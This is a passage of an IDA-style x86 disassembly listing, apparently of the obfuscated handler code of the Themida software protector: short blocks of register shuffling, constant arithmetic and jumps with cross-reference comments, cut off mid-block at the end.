; ---------------------------------------------------------------------------


loc_5894C2:				; CODE XREF: sub_584787+A24j
		push	65893135h
		pop	ecx
		shl	ecx, 8
		dec	ecx
		jmp	loc_58D302
; ---------------------------------------------------------------------------


loc_5894D1:				; CODE XREF: sub_584787+134Fj
		add	ebx, edi
		mov	edi, [esp+0Ch+var_C]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58877B
; ---------------------------------------------------------------------------


loc_5894E4:				; CODE XREF: sub_584787+B9ABj
		mov	eax, [esp+10h+var_10]
		jmp	loc_58CF38
; ---------------------------------------------------------------------------


loc_5894EC:				; CODE XREF: sub_584787+1E62j
		add	[esp+4+var_4], 4
		mov	edx, [esp+4+var_4]
		add	esp, 4
		push	27DBh
		jmp	loc_58CB33
; ---------------------------------------------------------------------------


loc_589503:				; DATA XREF: Themida_:00584198o
		push	dword ptr [edi+3Ch]
		push	[esp+8+var_8]
		pop	eax
		jmp	loc_589A7B
; ---------------------------------------------------------------------------


loc_58950F:				; CODE XREF: sub_584787+B6BCj
		mov	esp, [esp+8+var_8]
		sub	[esp+8+var_8], eax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58951B:				; CODE XREF: sub_584787+4E7Aj
		mov	ebx, [esp+0Ch+var_C]
		jmp	loc_590143
; ---------------------------------------------------------------------------


loc_589523:				; CODE XREF: sub_584787+45FCj
		mov	edi, 11CB07DDh
		add	edi, 0CA012D0h
		jmp	loc_59056D
; ---------------------------------------------------------------------------


loc_589533:				; CODE XREF: sub_584787+A2DBj
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58953B:				; CODE XREF: sub_584787+1E9Dj
		pop	esi
		jmp	loc_58D91F
; ---------------------------------------------------------------------------


loc_589541:				; CODE XREF: sub_584787+8200j
		sub	dl, 64h
		shl	dl, 1
		and	dl, 0B1h
		shl	dl, 3
		jmp	loc_586AAB
; ---------------------------------------------------------------------------


loc_589551:				; CODE XREF: sub_584787+3D0Fj
		mov	ebp, 0E1243A8h
		inc	ebp
		shl	ebp, 2
		neg	ebp
		sub	ebp, 0C7B6F158h
		add	edi, ebp
		pop	ebp
		jmp	loc_584D4D
; ---------------------------------------------------------------------------


loc_58956A:				; DATA XREF: Themida_:005841DCo
		mov	ax, word ptr [esp-8+arg_4]
		push	47Bh
		mov	[esp-4+arg_0], ebx
		mov	ebx, esp
		push	354Dh
		jmp	loc_58CD09
; ---------------------------------------------------------------------------


loc_589582:				; CODE XREF: sub_584787+9B4Bj
		add	dword ptr [esp+0], 4
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp-4+arg_0]
		jmp	loc_58F173
; ---------------------------------------------------------------------------


loc_58959B:				; CODE XREF: sub_584787+5761j
		xor	esi, 4B6707FAh
		push	edx
		jmp	loc_5860C2
; ---------------------------------------------------------------------------


loc_5895A7:				; CODE XREF: sub_584787+B262j
		add	bl, 0D3h
		jmp	loc_58522F
; ---------------------------------------------------------------------------


loc_5895AF:				; CODE XREF: sub_584787+9C65j
		mov	[esp+0], ebx
		push	edx
		jmp	loc_58BFA0
; ---------------------------------------------------------------------------


loc_5895B8:				; CODE XREF: sub_584787+BDACj
		add	esi, ecx
		pop	ecx
		jmp	loc_590162
; ---------------------------------------------------------------------------


loc_5895C0:				; CODE XREF: sub_584787+5518j
		mov	[esp+0], edi
		jmp	loc_589E00
; ---------------------------------------------------------------------------


loc_5895C8:				; CODE XREF: sub_584787+8901j
		push	68C9h
		jmp	loc_58DF1E
; ---------------------------------------------------------------------------


loc_5895D2:				; DATA XREF: Themida_:00584290o
		lodsb
		xor	al, bl
		sub	esp, 2
		mov	word ptr [esp+8+var_8],	dx
		push	1703h
		mov	[esp+0Ch+var_C], ecx
		push	ebx
		push	ecx
		mov	ch, 0A9h
		mov	bl, ch
		mov	ecx, [esp+14h+var_14]
		jmp	loc_5901C0
; ---------------------------------------------------------------------------


loc_5895F5:				; CODE XREF: sub_584787+34AEj
		sub	[esp-14h+arg_12+2], ecx
		pop	ecx
		pop	edx
		add	edx, 77194729h
		jmp	loc_58951B
; ---------------------------------------------------------------------------


loc_589606:				; CODE XREF: sub_584787+8C8Cj
		add	esi, 4
		push	7575h
		mov	[esp-18h+arg_12+2], edx
		mov	edx, 4
		jmp	loc_585A75
; ---------------------------------------------------------------------------


loc_58961E:				; CODE XREF: sub_584787+17BFj
		push	4D7Dh
		mov	[esp+6+var_8+2], esp
		add	[esp+6+var_8+2], 4
		jmp	loc_58A85F
; ---------------------------------------------------------------------------


loc_58962F:				; CODE XREF: sub_584787+3393j
		mov	ecx, esp
		push	edi
		mov	edi, 109A3F35h
		jmp	loc_58DF37
; ---------------------------------------------------------------------------


loc_58963C:				; CODE XREF: sub_584787+4585j
		add	ebx, ebp
		sub	ebx, 51F81789h
		push	[esp+14h+var_14]
		pop	ebp
		push	eax
		jmp	loc_587334
; ---------------------------------------------------------------------------


loc_58964E:				; CODE XREF: sub_584787+41E1j
		pop	edx
		xor	ecx, [esp+4+var_4]
		xor	[esp+4+var_4], ecx
		jmp	loc_59031C
; ---------------------------------------------------------------------------


loc_58965A:				; DATA XREF: Themida_:005843E8o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	byte ptr [esp+2+var_4+2], al
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_589669:				; DATA XREF: Themida_:00584340o
		push	[esp+6+var_8+2]
		push	[esp+0Ah+var_C+2]
		jmp	loc_58F739
; ---------------------------------------------------------------------------


loc_589674:				; CODE XREF: sub_584787+7196j
		add	esp, 2
		jmp	loc_588221
; ---------------------------------------------------------------------------


loc_58967C:				; DATA XREF: Themida_:005842D0o
		push	[esp+0Ah+var_C+2]
		push	[esp+0Eh+var_10+2]
		pop	edx
		push	edx
		mov	edx, esp
		jmp	loc_58A8E0
; ---------------------------------------------------------------------------


loc_58968B:				; CODE XREF: sub_584787+408Dj
		push	esi
		mov	esi, 2
		jmp	loc_58A1B8
; ---------------------------------------------------------------------------


loc_589696:				; CODE XREF: sub_584787+9BC8j
		mov	[esp+0Ah+var_C+2], ebp
		push	esp
		mov	ebp, [esp+0Eh+var_10+2]
		add	esp, 4
		push	edi
		mov	edi, 4
		jmp	loc_58F789
; ---------------------------------------------------------------------------


loc_5896AB:				; CODE XREF: sub_584787+8085j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_58EFBF
; ---------------------------------------------------------------------------


loc_5896BB:				; CODE XREF: sub_584787+BA8j
		sub	esi, 72D84181h
		mov	eax, [esp+52h+var_54+2]
		add	esp, 4
		push	edi
		mov	edi, 139C5F2Dh
		sub	edi, 139C5F29h
		add	esi, edi
		pop	edi
		jmp	loc_58A0B9
; ---------------------------------------------------------------------------


loc_5896DE:				; CODE XREF: sub_584787+E98j
		xor	eax, 81D124BFh
		add	ecx, eax
		pop	eax
		jmp	loc_588888
; ---------------------------------------------------------------------------


loc_5896EB:				; CODE XREF: sub_584787+19ABj
		add	eax, edi
		sub	eax, 391401F2h
		pop	edi
		add	eax, 4
		xchg	eax, [esp+1Eh+var_20+2]
		mov	esp, [esp+1Eh+var_20+2]
		sub	edi, 17C43413h
		push	edi
		jmp	loc_58656D
; ---------------------------------------------------------------------------


loc_58970A:				; CODE XREF: sub_584787+A8C8j
		sub	esp, 4
		mov	[esp+26h+var_26], ebx
		push	edx
		mov	edx, 4
		push	edx
		pop	ebx
		mov	edx, [esp+2Ah+var_2C+2]
		jmp	loc_58C194
; ---------------------------------------------------------------------------


loc_589720:				; CODE XREF: sub_584787+B98Dj
		sub	ecx, 284C112Ch
		pop	ebp
		shl	ecx, 2
		sub	ecx, 2052E032h
		xor	eax, ecx
		push	[esp+26h+var_26]
		pop	ecx
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_587A7F
; ---------------------------------------------------------------------------


loc_589744:				; CODE XREF: sub_584787+5A13j
		pop	ebx
		add	ebp, 6A3D3C2Ch
		add	ebp, 4ED33FD7h
		add	ebp, ecx
		sub	ebp, 4ED33FD7h
		push	esi
		jmp	loc_58A53E
; ---------------------------------------------------------------------------


loc_58975F:				; CODE XREF: sub_584787+7BFEj
		push	[esp+2Ah+var_2C+2]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+2Eh+var_30+2]
		pop	esp
		jmp	loc_587B19
; ---------------------------------------------------------------------------


loc_589778:				; CODE XREF: sub_584787+1493j
		mov	bl, 0D5h
		not	bl
		sub	bl, 61h
		sub	bl, 0C9h
		sub	bl, 22h
		mov	cl, bl
		pop	ebx
		add	dh, cl
		pop	cx
		xor	dh, 8Bh
		push	eax
		mov	al, 68h
		xor	al, 0CFh
		shl	al, 4
		dec	al
		push	ebx
		mov	bh, 0E8h
		not	bh
		shl	bh, 7
		sub	bh, 95h
		jmp	loc_58E85D
; ---------------------------------------------------------------------------


loc_5897A9:				; CODE XREF: sub_584787+24AFj
		pop	ebp
		sub	edi, 4
		push	6C3Fh
		mov	[esp+10h+var_10], edi
		push	[esp+10h+var_C]
		pop	edi
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		jmp	loc_58DE6C
; ---------------------------------------------------------------------------


loc_5897D1:				; CODE XREF: sub_584787+6286j
		pop	ebp
		push	[esp+0Ch+var_C]
		pop	edx
		push	23h
		mov	[esp+10h+var_10], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp+14h+var_10]
		pop	eax
		pop	[esp+14h+var_14]
		mov	esp, [esp+10h+var_10]
		jmp	loc_588037
; ---------------------------------------------------------------------------


loc_5897FB:				; CODE XREF: sub_584787+AC1Ej
		pop	ecx
		add	esi, ebx
		jmp	loc_585760
; ---------------------------------------------------------------------------


loc_589803:				; CODE XREF: sub_584787+75A2j
		push	3492h
		mov	[esp+10h+var_10], ebp
		mov	ebp, 0
		sub	ebp, edx
		mov	edx, ebp
		pop	ebp
		push	edi
		mov	edi, 56E91246h
		dec	edi
		jmp	loc_5869BC
; ---------------------------------------------------------------------------


loc_589821:				; CODE XREF: sub_584787+26B7j
		sub	esi, 24D655Ch
		shl	esi, 8
		jmp	loc_58E7CC
; ---------------------------------------------------------------------------


loc_58982F:				; CODE XREF: sub_584787+6FE0j
		push	esi
		jmp	loc_5883F0
; ---------------------------------------------------------------------------


loc_589835:				; CODE XREF: sub_584787+4A72j
		add	bl, dl
		jmp	loc_584768
; ---------------------------------------------------------------------------


loc_58983C:				; CODE XREF: sub_584787+4607j
		sub	esp, 4
		mov	[esp+32h+var_34+2], ecx
		push	eax
		mov	ah, 5Dh
		push	edx
		mov	dh, 3Bh
		xor	dh, 92h
		xor	ah, dh
		pop	edx
		jmp	loc_58DE20
; ---------------------------------------------------------------------------


loc_589853:				; CODE XREF: sub_584787+7CC9j
		inc	ebp
		jmp	loc_58D08D
; ---------------------------------------------------------------------------


loc_589859:				; CODE XREF: sub_584787+53E1j
		pop	eax
		jmp	loc_589213
; ---------------------------------------------------------------------------


loc_58985F:				; CODE XREF: sub_584787+147Fj
		add	ebp, esi
		add	ebp, 32C15CCh
		mov	esi, [esp+0]
		add	esp, 4
		xchg	ebp, [esp+46h+var_46]
		pop	esp
		jmp	loc_585A4B
; ---------------------------------------------------------------------------


loc_589879:				; CODE XREF: sub_584787+60FDj
		mov	[esp+42h+var_42], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	[esp+42h+var_42]
		mov	esp, [esp+0]
		movsx	ecx, ax
		push	72E8h
		mov	[esp+42h+var_42], ecx
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_589897:				; CODE XREF: sub_584787+A385j
		add	esp, 4
		jmp	loc_5865DA
; ---------------------------------------------------------------------------


loc_5898A2:				; CODE XREF: sub_584787+1F9Cj
		pop	esi
		pop	[esp-4+arg_0]
		jmp	loc_58E0E1
; ---------------------------------------------------------------------------


loc_5898AB:				; CODE XREF: sub_584787+6CB3j
		mov	eax, 3A13495Bh
		xor	ebx, eax
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		add	ebp, ebx
		push	[esp-0Ch+arg_8]
		pop	ebx
		add	esp, 4
		xchg	ebp, [esp+0]
		pop	esp
		shl	word ptr [esp-14h+arg_E+2], cl
		pushf
		jmp	loc_584974
; ---------------------------------------------------------------------------


loc_5898D2:				; CODE XREF: sub_584787+3262j
		add	esi, 4
		jmp	loc_586937
; ---------------------------------------------------------------------------


loc_5898DD:				; CODE XREF: sub_584787+3B4Dj
		add	al, dl
		sub	al, 5Eh
		jmp	loc_586688
; ---------------------------------------------------------------------------


loc_5898E6:				; CODE XREF: sub_584787+7142j
		xor	edi, [esp-1Ch+arg_18]
		xor	[esp-1Ch+arg_18], edi
		xor	edi, [esp-1Ch+arg_18]
		pop	esp
		mov	[esp-20h+arg_1C], ebp
		push	76Fh
		push	esp
		pop	[esp-18h+arg_12+2]
		add	[esp-1Ch+arg_18], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp-20h+arg_1C]
		xor	[esp-20h+arg_1C], ebp
		xor	ebp, [esp-20h+arg_1C]
		pop	esp
		add	esp, 4
		push	[esp-28h+arg_24]
		mov	eax, [esp-24h+arg_20]
		push	68DDh
		mov	[esp-20h+arg_1C], ebx
		push	0E0Ah
		jmp	loc_58FA84
; ---------------------------------------------------------------------------


loc_589935:				; CODE XREF: sub_584787+845Bj
		or	edi, 0E71BFDh
		add	edi, 280133EDh
		jmp	loc_586576
; ---------------------------------------------------------------------------


loc_589946:				; DATA XREF: Themida_:005843FCo
		mov	ax, word ptr [esp-1Ch+arg_18]
		push	edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		sub	esp, 4
		jmp	loc_58B731
; ---------------------------------------------------------------------------


loc_58995D:				; CODE XREF: sub_584787+48FCj
		add	edx, 2
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		div	cx
		push	32DAh
		mov	[esp+4+var_4], edx
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 60BD2311h
		shr	ecx, 8
		shl	ecx, 4
		inc	ecx
		sub	ecx, 60BD22Dh
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		jmp	loc_58A6EE
; ---------------------------------------------------------------------------


loc_58999D:				; DATA XREF: Themida_:005843F0o
		mov	cx, word ptr [esp+8+var_8]
		jmp	loc_58F801
; ---------------------------------------------------------------------------


loc_5899A6:				; CODE XREF: sub_584787+7660j
		sub	esp, 4
		jmp	loc_58DED5
; ---------------------------------------------------------------------------


loc_5899B1:				; CODE XREF: sub_584787+5D7j
		mov	ecx, 3E442E98h
		push	ecx
		push	esi
		push	[esp+1Ch+var_18]
		pop	esi
		pop	[esp+1Ch+var_1C]
		jmp	loc_5870E6
; ---------------------------------------------------------------------------


loc_5899C5:				; CODE XREF: sub_584787+626Dj
		xor	[esp+18h+var_18], eax
		xor	eax, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		mov	[esp+18h+var_18], ebp
		mov	ebp, 80000h
		and	eax, ebp
		jmp	loc_589367
; ---------------------------------------------------------------------------


loc_5899DD:				; CODE XREF: sub_584787+B20Fj
		mov	ebp, esp
		jmp	loc_58AD29
; ---------------------------------------------------------------------------


loc_5899E4:				; CODE XREF: sub_584787+959Dj
		add	esi, 4
		xchg	esi, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]


loc_5899F0:				; CODE XREF: sub_584787+43C4j
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 7020549h
		sub	edi, 7020545h
		add	eax, edi
		pop	edi
		sub	eax, 4
		xor	eax, [esp+1Ch+var_1C]
		xor	[esp+1Ch+var_1C], eax
		xor	eax, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], eax
		add	[esp+18h+var_18], 50DF29BBh
		mov	eax, [esp+18h+var_18]
		add	esp, 4
		push	ecx
		push	ebp
		push	19E31A5Ch
		jmp	loc_58D815
; ---------------------------------------------------------------------------


loc_589A2D:				; CODE XREF: sub_584787+459j
		add	ecx, 2DC76240h
		jmp	loc_58F4E7
; ---------------------------------------------------------------------------


loc_589A38:				; CODE XREF: sub_584787+30A7j
		xchg	ebx, [esp-8+arg_4]
		pop	esp
		xor	[esp-0Ch+arg_8], edx
		xor	edx, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], edx
		mov	eax, [esp-0Ch+arg_8]
		jmp	loc_58BCF1
; ---------------------------------------------------------------------------


loc_589A4D:				; CODE XREF: sub_584787+97C9j
		add	edi, 4
		xchg	edi, [esp-0Ch+arg_8]
		pop	esp
		jmp	loc_58FAE9
; ---------------------------------------------------------------------------


loc_589A5C:				; CODE XREF: sub_584787+AFBCj
		add	ebx, 4
		jmp	loc_58B977
; ---------------------------------------------------------------------------


loc_589A67:				; CODE XREF: sub_584787-1E4j
		mov	edi, [esp+0]
		add	esp, 4
		add	[edi+24h], edx
		push	[esp-4+arg_0]
		mov	edx, [esp+0]
		jmp	loc_588B71
; ---------------------------------------------------------------------------


loc_589A7B:				; CODE XREF: sub_584787+4D83j
		push	3DD4h
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, esp
		push	esi
		push	edx
		push	esi
		jmp	loc_5876F3
; ---------------------------------------------------------------------------


loc_589A8D:				; CODE XREF: sub_584787+737Dj
		pop	edx
		add	ecx, 2
		xchg	ecx, [esp+14h+var_14]
		jmp	loc_58D18A
; ---------------------------------------------------------------------------


loc_589A9C:				; CODE XREF: sub_584787+490j
		neg	esi
		shl	esi, 4
		push	esi
		not	dword ptr [esp+0]
		pop	esi
		shl	esi, 1
		not	esi
		jmp	loc_585334
; ---------------------------------------------------------------------------


loc_589AAF:				; CODE XREF: sub_584787+82CAj
		shr	edx, 5
		shr	edx, 1
		dec	edx
		xor	edx, 2C5C5DFAh
		push	edi
		mov	edi, 2C3213ACh
		sub	edi, 18250481h
		jmp	loc_58A489
; ---------------------------------------------------------------------------


loc_589ACC:				; CODE XREF: sub_584787+8A5Dj
		pop	esp
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_589AD2:				; CODE XREF: sub_584787+495Dj
		pop	edi
		shl	ebp, 2
		sub	ebp, 789D77C8h
		add	esi, ebp
		jmp	loc_5856CB
; ---------------------------------------------------------------------------


loc_589AE3:				; CODE XREF: sub_584787+7488j
		push	edx
		push	[esp+14h+var_10]
		jmp	loc_585509
; ---------------------------------------------------------------------------


loc_589AED:				; CODE XREF: sub_584787+2106j
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	esi
		jmp	loc_58F1A2
; ---------------------------------------------------------------------------


loc_589AFC:				; CODE XREF: sub_584787+6B24j
		mov	edx, 4
		add	ebx, edx
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp+50h+var_4E+2]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_589138
; ---------------------------------------------------------------------------


loc_589B24:				; CODE XREF: sub_584787+6570j
		xor	cl, dh
		jmp	loc_587000
; ---------------------------------------------------------------------------


loc_589B2B:				; CODE XREF: sub_584787+B756j
		pop	ecx
		push	704Ch
		mov	[esp+4Ch+var_4E+2], edi
		push	764Dh
		mov	[esp+0], edx
		mov	edx, 48BE500Dh
		push	ebp
		mov	ebp, 56E5CE5h
		sub	ebp, 315D1B47h
		and	ebp, 0C690874h
		jmp	loc_58CEAF
; ---------------------------------------------------------------------------


loc_589B58:				; CODE XREF: sub_584787+2752j
		xchg	ebp, [esp+0Eh+var_10+2]
		pop	esp
		add	[esp+0Ah+var_8+2], eax
		add	[esp+0Ah+var_8+2], 3E5B641Bh
		jmp	loc_589859
; ---------------------------------------------------------------------------


loc_589B6D:				; CODE XREF: sub_584787+8226j
		and	ecx, 2BC320CEh
		sub	ecx, 95B4DA55h
		jmp	loc_58B870
; ---------------------------------------------------------------------------


loc_589B7E:				; CODE XREF: sub_584787+42C5j
		xchg	ebp, [esp+2Eh+var_30+2]
		pop	esp
		movsx	cx, al
		jmp	loc_588AAE
; ---------------------------------------------------------------------------


loc_589B8B:				; CODE XREF: sub_584787+5825j
		mov	[esp+2Ah+var_2C+2], eax
		push	edi
		mov	edi, 631653F1h
		xor	edi, 49084C18h
		sub	edi, 1BDE74DFh
		neg	edi
		add	edi, 792F726Ah
		jmp	loc_584EFF
; ---------------------------------------------------------------------------


loc_589BAD:				; CODE XREF: sub_584787+9F4Aj
		add	ebp, 7C171F8Fh
		shr	ebp, 4
		jmp	loc_588568
; ---------------------------------------------------------------------------


loc_589BBB:				; CODE XREF: sub_584787+78C4j
		mov	[esp+2Eh+var_30+2], eax
		jmp	loc_58A8BB
; ---------------------------------------------------------------------------


loc_589BC3:				; CODE XREF: sub_584787+A0B6j
		pop	edi
		add	ecx, 4
		xor	ecx, [esp+2Ah+var_2C+2]
		jmp	loc_58F3C4
; ---------------------------------------------------------------------------


loc_589BCF:				; CODE XREF: sub_584787+CC3j
		xor	edi, 3E303A8Ch
		jmp	loc_58C811
; ---------------------------------------------------------------------------


loc_589BDA:				; CODE XREF: sub_584787+B793j
		add	eax, 4
		xchg	eax, [esp+14h+var_14]
		jmp	loc_58D3FA
; ---------------------------------------------------------------------------


loc_589BE7:				; CODE XREF: sub_584787+6F38j
		pop	ecx
		push	ecx
		push	eax
		jmp	loc_58E027
; ---------------------------------------------------------------------------


loc_589BEF:				; DATA XREF: Themida_:005842A4o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	byte ptr [esp+16h+var_18+2], al
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_589BFE:				; CODE XREF: sub_584787+7F73j
		mov	[esp+1Ah+var_1C+2], edi
		push	eax
		mov	eax, 3B890651h
		jmp	loc_58A480
; ---------------------------------------------------------------------------


loc_589C0C:				; CODE XREF: sub_584787+7802j
		sub	[esp+1Eh+var_20+2], 7A8D516Bh
		jmp	loc_58A110
; ---------------------------------------------------------------------------


loc_589C18:				; CODE XREF: sub_584787+3C83j
		add	edx, 4
		jmp	loc_58FAE1
; ---------------------------------------------------------------------------


loc_589C23:				; CODE XREF: sub_584787+7EF2j
		pop	esp
		sub	eax, 72457FADh
		jmp	loc_5870A8
; ---------------------------------------------------------------------------


loc_589C2E:				; CODE XREF: sub_584787+5AAj
		add	dh, 0C0h
		add	dh, 0AAh
		pop	ebx
		add	al, dh
		mov	dx, word ptr [esp+4+var_4]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp+8+var_8]
		pop	esp
		sub	bl, 7
		push	eax
		mov	al, 0E7h
		jmp	loc_588D11
; ---------------------------------------------------------------------------


loc_589C56:				; CODE XREF: sub_584787+3257j
		push	ebx
		mov	ebx, 2
		add	esi, ebx
		pop	ebx
		xor	esi, [esp+10h+var_10]
		jmp	loc_590047
; ---------------------------------------------------------------------------


loc_589C67:				; CODE XREF: sub_584787+2632j
		dec	cl
		sub	cl, 7Dh
		sub	al, cl
		pop	ecx
		push	21EBh
		jmp	loc_589240
; ---------------------------------------------------------------------------


loc_589C79:				; CODE XREF: sub_584787+916Ej
		mov	esi, edi
		pop	edi
		xor	[esp+28h+var_26+2], esi
		mov	esi, [esp+0]
		push	esi
		push	esp
		mov	esi, [esp+30h+var_30]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		jmp	loc_5893FF
; ---------------------------------------------------------------------------


loc_589C99:				; CODE XREF: sub_584787+804Dj
		sub	esp, 4
		jmp	loc_5895C0
; ---------------------------------------------------------------------------


loc_589CA4:				; CODE XREF: sub_584787+82D4j
		add	esp, 4
		push	ebp
		mov	ebp, 6D292F47h
		shl	ebp, 1
		shl	ebp, 4
		xor	ebp, 0B356720h
		not	ebp
		jmp	loc_5880DD
; ---------------------------------------------------------------------------


loc_589CBF:				; CODE XREF: sub_58FB5B+13j
		mov	[esp+30h+var_30], esi
		mov	esi, 437F344Ah
		xor	ebx, esi
		mov	esi, [esp+30h+var_30]
		jmp	loc_587075
; ---------------------------------------------------------------------------


loc_589CD1:				; CODE XREF: sub_584787+30E1j
		sub	ebp, 66713B30h
		shl	ebp, 2
		xor	ebp, 0E79A1593h
		mov	ecx, ebp
		push	[esp+38h+var_38]
		pop	ebp
		add	esp, 4
		and	ecx, 276A7B5Ch
		jmp	loc_590308
; ---------------------------------------------------------------------------


loc_589CF7:				; CODE XREF: sub_584787+4C9Bj
		add	eax, 2BEB09EFh
		xor	eax, 25F2AD6Fh
		xor	ebp, eax
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		sub	esi, 0B923740h
		add	esi, ebp
		jmp	loc_58BCA1
; ---------------------------------------------------------------------------


loc_589D19:				; CODE XREF: sub_584787+9F09j
		xor	esi, ebx
		pop	ebx
		push	edx
		mov	edx, 1DB53B69h
		add	esi, edx
		pop	edx
		add	ebp, esi
		jmp	loc_5890DC
; ---------------------------------------------------------------------------


loc_589D2C:				; CODE XREF: sub_584787+BCACj
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_58CF55
; ---------------------------------------------------------------------------


loc_589D37:				; CODE XREF: sub_584787+8CBCj
		push	esp
		jmp	loc_585A1C
; ---------------------------------------------------------------------------


loc_589D3D:				; CODE XREF: sub_584787+893Aj
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_589D42:				; CODE XREF: sub_584787+12BFj
		mov	[esp-8+arg_4], esp
		add	[esp-8+arg_4], 4
		pop	[esp-8+arg_4]
		push	ecx
		mov	ecx, 4
		add	[esp-8+arg_8], ecx
		pop	ecx
		mov	ebx, [esp-0Ch+arg_8]
		add	esp, 4
		push	eax
		push	ebx
		push	7F404408h
		pop	ebx
		xor	ebx, 3F601DD2h
		mov	eax, ebx
		pop	ebx
		shr	eax, 8
		jmp	loc_58BD85
; ---------------------------------------------------------------------------


loc_589D79:				; CODE XREF: sub_584787+3290j
		mov	[esp+0], ecx
		jmp	loc_5904D6
; ---------------------------------------------------------------------------


loc_589D81:				; CODE XREF: sub_584787+5B2Fj
		mov	eax, [esp]
		push	edx
		jmp	loc_589349
; ---------------------------------------------------------------------------


loc_589D8A:				; CODE XREF: sub_584787+AB33j
		add	al, 53h
		jmp	loc_58FCE7
; ---------------------------------------------------------------------------


loc_589D91:				; CODE XREF: sub_584787+744j
		mov	esi, 1E670CD5h
		jmp	loc_587A28
; ---------------------------------------------------------------------------


loc_589D9B:				; CODE XREF: sub_584787+24A7j
		add	esp, 4
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		push	esi
		mov	esi, 675B7C64h
		jmp	loc_58B00B
; ---------------------------------------------------------------------------


loc_589DB5:				; CODE XREF: sub_584787+10j
		mov	edx, [esp+16h+var_18+2]
		jmp	loc_5858EE
; ---------------------------------------------------------------------------


loc_589DBD:				; CODE XREF: sub_584787+AB6Dj
		pop	eax
		xor	al, ch
		push	[esp+12h+var_14+2]
		pop	ecx
		jmp	loc_58A317
; ---------------------------------------------------------------------------


loc_589DC9:				; CODE XREF: sub_584787+72B2j
		mov	ebx, [esp+12h+var_14+2]
		add	esp, 4
		jmp	loc_585752
; ---------------------------------------------------------------------------


loc_589DD4:				; CODE XREF: sub_58F8C1-43Cj
		mov	edx, 4
		add	ecx, edx
		jmp	loc_58FCFA
; ---------------------------------------------------------------------------


loc_589DE0:				; CODE XREF: sub_58F4F5+10j
		not	ecx
		jmp	loc_58C930
; ---------------------------------------------------------------------------


loc_589DE7:				; CODE XREF: sub_584787+3E60j
		add	ecx, 7EE0EF8h
		mov	edx, ecx
		jmp	loc_586AE6
; ---------------------------------------------------------------------------


loc_589DF4:				; CODE XREF: sub_584787+B397j
		push	eax
		neg	byte ptr [esp+26h+var_26]
		pop	eax
		xor	al, 0Fh
		jmp	loc_58EFB5
; ---------------------------------------------------------------------------


loc_589E00:				; CODE XREF: sub_584787+4E3Cj
		push	[esp+arg_0]
		pop	edi
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		add	esp, 4
		div	ecx
		push	3ECCh
		mov	[esp-4+arg_0], edx
		push	eax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_589E22:				; CODE XREF: sub_584787+2E03j
		mov	edi, [esp+1Ah+var_1C+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], edx
		jmp	loc_58FCAE
; ---------------------------------------------------------------------------


loc_589E33:				; CODE XREF: sub_584787+7E6Cj
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], ecx
		mov	ecx, 1
		push	eax
		sub	esp, 4
		mov	[esp+26h+var_26], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+26h+var_26]
		pop	esp
		mov	[esp+0], ecx
		mov	ecx, 34600664h
		mov	eax, 34600688h
		sub	eax, ecx
		pop	ecx
		sub	eax, 6C3542B4h
		add	eax, edi
		push	6026h
		mov	[esp+0], esi
		mov	esi, 5B377309h
		sub	esi, 1EC65B0Eh
		sub	esi, 0D03BD547h
		add	eax, esi
		pop	esi
		add	[eax], ecx
		jmp	loc_5882B8
; ---------------------------------------------------------------------------


loc_589E92:				; CODE XREF: Themida_:005906D8j
		push	edx
		jmp	loc_58E354
; ---------------------------------------------------------------------------


loc_589E98:				; CODE XREF: sub_584787+3E3Bj
		add	ebp, edx
		mov	edx, [esp+1Ah+var_1C+2]
		jmp	loc_58BDEC
; ---------------------------------------------------------------------------


loc_589EA2:				; CODE XREF: sub_584787+4A87j
		inc	bh
		sub	bh, 0DBh
		add	al, bh
		pop	ebx
